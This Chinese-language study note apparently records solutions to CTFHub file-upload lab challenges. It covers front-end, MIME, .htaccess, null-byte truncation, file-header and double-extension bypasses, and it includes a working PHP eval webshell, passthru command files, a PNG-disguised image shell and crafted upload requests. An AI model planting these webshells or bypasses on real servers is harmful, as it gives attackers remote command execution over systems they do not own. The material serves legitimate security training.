文件上传
持续更新
文章目录
基础知识
在文件上传的功能处,若服务端脚本语言未对上传的文件进行严格验证和过滤,导致恶意用户上传恶意的脚本文件时,就有可能获取执行服务端命令的能力,这就是文件上传漏洞。
webshell
<?php
eval($_REQUEST['kari']);
?>
原理
- eval将接收一个字符串参数,并将这个字符串作为命令语句执行。
- 一句话的功能:即从get或post请求参数中,将kari参数的值,作为命令语句执行。
实例
[CTFHub 技能树 无验证]
- 上传木马文件
- 用中国蚁剑连接,密码为kari
- 查看目录找到flag
前端验证绕过
原理
规避JS代码
实例
[CTFHub 技能树 前端验证]
方法一 修改post处代码
检查网页,删除form表单里面的JS事件
方法二 禁用JavaScript
在浏览器中设置禁用JavaScript
方法三 bp抓包上传,改后缀名
先改名为.jpg
,bp抓包改为后缀.php
MIME 绕过
原理
- MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某 种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动 使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式每 个MIME类型由两部分组成,前面是数据的大类别,例如声音 audio、图象 Image等,后面定义具体 的种类。
- MIME类型就是服务端会检测Content-Type的值
- 因为服务端检测的是文件的MIME类型,而对这个MIME类型的的值的获取是通过HTTP请求字段里的 Content-Type字段 ,所以绕过的方法就是通过修改Content-Type的值,比如修改为image/jpeg; image/png;image/gif等等允许上传类型对应的MIME值
实例
[CTFHub 技能树 MIME绕过]
- 打开环境,上传一句话木马,提示文件类型不正确
- 抓包,修改Content-Type: image/jpeg
- 发送,提示上传成功,用蚁剑连接后找到flag
.htaccess文件解析漏洞
AddType application/x-httpd-php .jpg
原理
- .htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
- 概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
- 根据以上内容,假如我们自定义一个规则,并让服务器运行我们定义的规则,便可绕过上传限制
实例
[CTFHub 技能树 .htaccess]
方法一 使用蚁剑
- 先上传文件.htaccess,提示上传成功
- 再上传一句话木马(后缀改为.jpg)
- 用蚁剑连接找出flag
方法二 passthru()函数
这个函数可以直接执行外部命令,用法passthru" ls "),同样有此功能的函数还有exec()、system()、 shell_exec()等。
-
先上传文件.htaccess,提示上传成功
-
再上传两次文件
<?php #passthru("ls /var/www/html/"); //第一次只写这一行,用来找flag文件在哪里 passthru("cat /var/www/html/flag_229326633.php");//第二次是找到了flag文件之后,直接读取内容 ?>
-
查看源码找到flag
00截断
原理
- 定义:00截断是绕过上传限制的一种常见方法。在C语言中,“\0”是字符串的结束符,如果用户能 够传入“\0”,就能够实现截断。
- 00截断通过上传限制适用的场景为,后端先获取用户上传的文件名,如x.php\00.jpg,再根据文件名 获得文件的实际后缀jpg;通过后缀的白名单校验后,最后在保存文件时发生截断,实现上传的文 件为x.php
- 0x00是十六进制表示方法,表示ASCII码为0的字符,在一些函数处理时,会把这个字符当作结束 符。 0x00可以用在对文件名的绕过上,具体原理:系统在对文件名进行读取时,如果遇到0x00,就会 认为读取已经结束。但要注意是文件的十六进制内容里的00,而不是文件名中的00。也就是说系统 是按二进制或十六进制读取文件,遇到ASCII码为0的位置就停止,而这个ASCII码为0的位置在十六 进制中是00。 总之就是利用ASCII码为0这个特殊字符,让系统认为字符串已经结束
- 注:php版本要 PHP<5.3.29,且GPC关闭
实例
[CTFHub 技能树 00截断]
-
修改文件名为1.php%00.jpg,上传文件失败
-
查看源码得到提示
<!-- if (!empty($_POST['submit'])) { $name = basename($_FILES['file']['name']); $info = pathinfo($name); $ext = $info['extension']; $whitelist = array("jpg", "png", "gif"); if (in_array($ext, $whitelist)) { $des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext; if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) { echo "<script>alert('上传成功')</script>"; } else { echo "<script>alert('上传失败')</script>"; } } else { echo "文件类型不匹配"; } } -->
$_FILES 解释(搬自php手册) $_FILES 数组内容如下: $_FILES[‘myFile’][‘name’] 客户端文件的原名称。 $_FILES[‘myFile’][‘type’] 文件的 MIME 类型,需要浏览器提供该信息的支持,例如"image/gif"。 $_FILES[‘myFile’][‘size’] 已上传文件的大小,单位为字节。 $_FILES[‘myFile’][‘tmp_name’] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在 php.ini 的 upload_tmp_dir 指定,但 用 putenv() 函数设置是不起作用的。 $_FILES[‘myFile’][‘error’] 和该文件上传相关的错误代码。[‘error’] 是在 PHP 4.2.0 版本中增加的。下面是它的说明:(它们在 PHP 4.3.0 之后变成了 PHP 常量。) basename() 函数:返回路径中的文件名部分。 $_name 是上传的文件名加后缀 $_ext 得到的就是后缀名 重点就在 $des这个变量 得到的完整路径是 GET[‘road’]+随机数+日期加前面获得的后缀名
-
用burp抓包,做出如下修改
如果我们在这里的road参数后利用00进行截断,那后面的时间,随机数,后缀名就全部失效,我们自己设置的路径就是$des的值,也就成了上传的文件存储的完整路径
POST /?road=/var/www/html/upload/1.php%00.jpg HTTP/1.1
-
用蚁剑连接网站找出flag
/upload/1.php
文件头检查绕过
原理
制造图片马,用png格式头89504E47进行伪装
‰PNG<?php eval($_REQUEST['kari']); ?>
实例
[CTFHub 技能树 文件头检查]
- 制作图片马
- 上传过程中抓包,将文件后缀改为.php
- 用蚁剑连接网站找出flag
双写后缀
原理
通过双写绕过后缀屏蔽
实例
[CTFHub 技能树 双写后缀]
-
上传木马并抓包,重发后发现文件后缀被屏蔽了
-
进行如下修改
Content-Disposition: form-data; name="file"; filename="yijuhuamuma.pphphp"
-
用蚁剑连接网站找出flag
参考链接
1.https://www.cnblogs.com/carr0t/p/12594818.html
2.https://blog.csdn.net/qq_41500251/article/details/100177972
3.https://blog.csdn.net/weixin_42742658/article/details/106132770
4.https://blog.csdn.net/weixin_45785288/article/details/108412899